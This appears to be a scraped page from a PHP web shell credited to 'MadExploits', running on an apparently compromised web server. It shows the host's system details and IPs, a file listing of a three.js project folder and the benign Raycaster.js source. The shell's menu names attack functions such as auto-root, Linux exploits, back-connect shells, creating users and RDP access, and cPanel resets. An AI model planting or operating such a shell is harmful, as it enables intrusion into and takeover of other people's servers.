Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.22.217.176
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
HRD-Test /
src /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
BufferAttribute.js
10.24
KB
-rw-r--r--
BufferGeometry.js
20.29
KB
-rw-r--r--
Clock.js
890
B
-rw-r--r--
EventDispatcher.js
1.44
KB
-rw-r--r--
GLBufferAttribute.js
725
B
-rw-r--r--
InstancedBufferAttribute.js
631
B
-rw-r--r--
InstancedBufferGeometry.js
562
B
-rw-r--r--
InstancedInterleavedBuffer.js
747
B
-rw-r--r--
InterleavedBuffer.js
2.33
KB
-rw-r--r--
InterleavedBufferAttribute.js
5.72
KB
-rw-r--r--
Layers.js
577
B
-rw-r--r--
Object3D.js
17.36
KB
-rw-r--r--
Raycaster.js
2.18
KB
-rw-r--r--
RenderTarget.js
3.31
KB
-rw-r--r--
Uniform.js
199
B
-rw-r--r--
UniformsGroup.js
1.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Raycaster.js
import { Ray } from '../math/Ray.js'; import { Layers } from './Layers.js'; class Raycaster { constructor( origin, direction, near = 0, far = Infinity ) { this.ray = new Ray( origin, direction ); // direction is assumed to be normalized (for accurate distance calculations) this.near = near; this.far = far; this.camera = null; this.layers = new Layers(); this.params = { Mesh: {}, Line: { threshold: 1 }, LOD: {}, Points: { threshold: 1 }, Sprite: {} }; } set( origin, direction ) { // direction is assumed to be normalized (for accurate distance calculations) this.ray.set( origin, direction ); } setFromCamera( coords, camera ) { if ( camera.isPerspectiveCamera ) { this.ray.origin.setFromMatrixPosition( camera.matrixWorld ); this.ray.direction.set( coords.x, coords.y, 0.5 ).unproject( camera ).sub( this.ray.origin ).normalize(); this.camera = camera; } else if ( camera.isOrthographicCamera ) { this.ray.origin.set( coords.x, coords.y, ( camera.near + camera.far ) / ( camera.near - camera.far ) ).unproject( camera ); // set origin in plane of camera this.ray.direction.set( 0, 0, - 1 ).transformDirection( camera.matrixWorld ); this.camera = camera; } else { console.error( 'THREE.Raycaster: Unsupported camera type: ' + camera.type ); } } intersectObject( object, recursive = true, intersects = [] ) { intersectObject( object, this, intersects, recursive ); intersects.sort( ascSort ); return intersects; } intersectObjects( objects, recursive = true, intersects = [] ) { for ( let i = 0, l = objects.length; i < l; i ++ ) { intersectObject( objects[ i ], this, intersects, recursive ); } intersects.sort( ascSort ); return intersects; } } function ascSort( a, b ) { return a.distance - b.distance; } function intersectObject( object, raycaster, intersects, recursive ) { if ( object.layers.test( raycaster.layers ) ) { object.raycast( raycaster, intersects ); } if ( recursive === true ) { const children = object.children; for ( let i = 0, l = children.length; i < l; i ++ ) { intersectObject( children[ i ], raycaster, intersects, true ); } } } export { Raycaster };
Close